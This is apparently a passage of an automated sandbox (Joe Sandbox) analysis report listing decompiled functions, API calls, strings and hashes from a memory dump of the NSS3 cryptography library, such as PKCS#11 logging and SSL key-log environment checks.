(CK_INVALID_HANDLE), xrefs: 6C659C9C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nsl
API String ID: 1003633598-2613036085
Opcode ID: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction ID: 243aa723a5a0fad3ba0b60637888fe06eb10194d348ca865a96758b6d2408921
Opcode Fuzzy Hash: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction Fuzzy Hash: 7B41EA71A02154AFDB00DF54DE8CE9D7BB5EB4330EFA58034E50857712DB309929CBAA

Function 6C664C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C664C4C
EnterCriticalSection.KERNEL32(?), ref: 6C664C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664DB7

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C664DD7
EnterCriticalSection.KERNEL32(?), ref: 6C664DEC
PR_Unlock.NSS3(?), ref: 6C664E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C664E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C664E71
free.MOZGLUE(00000000), ref: 6C664E7A
PR_Unlock.NSS3(?), ref: 6C664EA2
TlsGetValue.KERNEL32 ref: 6C664EC1
EnterCriticalSection.KERNEL32(?), ref: 6C664ED6
PR_Unlock.NSS3(?), ref: 6C664F01
free.MOZGLUE(00000000), ref: 6C664F2A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction ID: 68374d0582ca3c0c93e742c286f517465d60b472145f01f85129bcac42162441
Opcode Fuzzy Hash: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction Fuzzy Hash: 5DB11071A002059FDB01EF29D894BAA77B4BF0A319F144174ED0597F11EB70E961CBEA

Function 6C66FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFB4

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFC6

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFD6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFE6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFF6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670006
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670016
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670026
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670036
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670046
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670056
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670066
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670076
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670086
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670096
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700A6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700B6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700C6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700D6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700E6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction ID: f1f8e10abfaa9bb02b66bf2d306d977852a972c1b4fd1e46e1ce1316f4241968
Opcode Fuzzy Hash: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction Fuzzy Hash: A23146F0E0B7189E8B45DF25C15858A3AF8BB1B60A730493BD72C86B21D7740949CFAD

Function 6C6B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6B6BF7), ref: 6C6B6EB6

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C75FC0A,6C6B6BF7), ref: 6C6B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6B6EFC
PR_NewLock.NSS3 ref: 6C6B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6B6BF7), ref: 6C6B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6B6BF7), ref: 6C6B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6B6BF7), ref: 6C6B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6B6BF7), ref: 6C6B6FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6B6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6B6F4F
SSLFORCELOCKS, xrefs: 6C6B6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6B6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6B6FF8
SSLKEYLOGFILE, xrefs: 6C6B6EB1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction ID: 8eec938cda0fc777107fedab3b49623a9d5b08a3e88d622078b70d32cda8061f
Opcode Fuzzy Hash: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction Fuzzy Hash: 4FA13D73A5BD908AE710463CCC013C432A6AF5336AF684375EA31D7ED5DB35E4608369

Function 6C635DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C635DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C635E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C635E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C635E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C635EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C635ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C635F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C635F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C635F89
free.MOZGLUE(?), ref: 6C635FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C635FB6
free.MOZGLUE(00000000), ref: 6C635FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C636079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636094

Strings

, xrefs: 6C635EEB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction ID: d2d5b2cb54df31233fc9e5f46688c82ff679c5e2bfec5fafc9b77fd5e7cf2639
Opcode Fuzzy Hash: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction Fuzzy Hash: 8F8114B1E002259BDF108F64CC85BAE77B4AF45318F146528E81EE7791E731E905CBEA

Function 6C654E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C654E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654EC7

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C654F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C654F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C654F68

Strings

ulCount = %d, xrefs: 6C654F63
C_GetAttributeValue, xrefs: 6C654E7E
nsl, xrefs: 6C654F82, 6C654FB2
hObject = 0x%x, xrefs: 6C654EF5, 6C654F05
hSession = 0x%x, xrefs: 6C654EA2, 6C654EB2
(CK_INVALID_HANDLE), xrefs: 6C654EC0, 6C654F13
pTemplate = 0x%p, xrefs: 6C654F4A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nsl
API String ID: 1003633598-2028437738
Opcode ID: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction ID: ddfa5ee10c8d28a60f1d0805ac4d7b6e469888e79180d2355b6a96076aa08704
Opcode Fuzzy Hash: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction Fuzzy Hash: FF410631602114AFDB008B14DE8CFAE77B5AB8331DF658074E50857B12DB319E39CB6A

Function 6C654CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C654CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D37

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C654DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C654DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C654E20

Strings

nsl, xrefs: 6C654DD4, 6C654DFF
*pulSize = 0x%x, xrefs: 6C654E1B
pulSize = 0x%p, xrefs: 6C654DB7
hObject = 0x%x, xrefs: 6C654D65, 6C654D75
C_GetObjectSize, xrefs: 6C654CEE
hSession = 0x%x, xrefs: 6C654D12, 6C654D22
(CK_INVALID_HANDLE), xrefs: 6C654D30, 6C654D83

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nsl
API String ID: 1003633598-1837281251
Opcode ID: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction ID: 349f929179f6afe16e07f0f2dfb9851108a28377ce24da28e6a371827e942c08
Opcode Fuzzy Hash: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction Fuzzy Hash: 7641E971602114AFDB009B14DE8CBBA3BB5EB4734EF658074E5085B712DB709D78CB5A

Function 6C657C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C657CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657CF3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C657D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C657D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C657D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C657D77

Strings

C_Verify, xrefs: 6C657CB1
ulDataLen = %d, xrefs: 6C657D40
nsl, xrefs: 6C657D8F, 6C657DC3
ulSignatureLen = %d, xrefs: 6C657D72
hSession = 0x%x, xrefs: 6C657CCE, 6C657CDE
(CK_INVALID_HANDLE), xrefs: 6C657CEC
pSignature = 0x%p, xrefs: 6C657D59
pData = 0x%p, xrefs: 6C657D25

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nsl
API String ID: 1003633598-2367348786
Opcode ID: a752f4231a7520c3af21ab1cf2229f7b6ae0d231ff5fff5797cae7beabea7e4e
Instruction ID: 574e618aeda58a6aaea3ddfebfe22efa480b27c2b41509ff29a747daeb4a4dfa
Opcode Fuzzy Hash: a752f4231a7520c3af21ab1cf2229f7b6ae0d231ff5fff5797cae7beabea7e4e
Instruction Fuzzy Hash: 8331EA71612154AFDB009F54DE4CF5A7BF1AB4331DFA98034E50857712DB309958CBAA

Function 6C652F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C652F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652F63

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C652F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C652FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C652FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C652FE7

Strings

ulOldLen = %d, xrefs: 6C652FB0
nsl, xrefs: 6C652FFF, 6C653030
C_SetPIN, xrefs: 6C652F21
pNewPin = 0x%p, xrefs: 6C652FC9
hSession = 0x%x, xrefs: 6C652F3E, 6C652F4E
(CK_INVALID_HANDLE), xrefs: 6C652F5C
ulNewLen = %d, xrefs: 6C652FE2
pOldPin = 0x%p, xrefs: 6C652F95

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nsl
API String ID: 1003633598-2430169420
Opcode ID: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction ID: 07bdacb2c583c12ea7edbb5e353d9fb9ef3ba3a532c222e9aa226097d26b9e0a
Opcode Fuzzy Hash: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction Fuzzy Hash: DA311931A02154AFCB008F14DE8CF4A7BB1EB4730EFA54034F90897712DB319968CBAA

Function 6C739C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C739C70
PR_NewLock.NSS3 ref: 6C739C85

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C739C96

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewLock.NSS3 ref: 6C739CA9

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3 ref: 6C739CB9
PR_NewLock.NSS3 ref: 6C739CC9
PR_NewCondVar.NSS3(00000000), ref: 6C739CDA

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
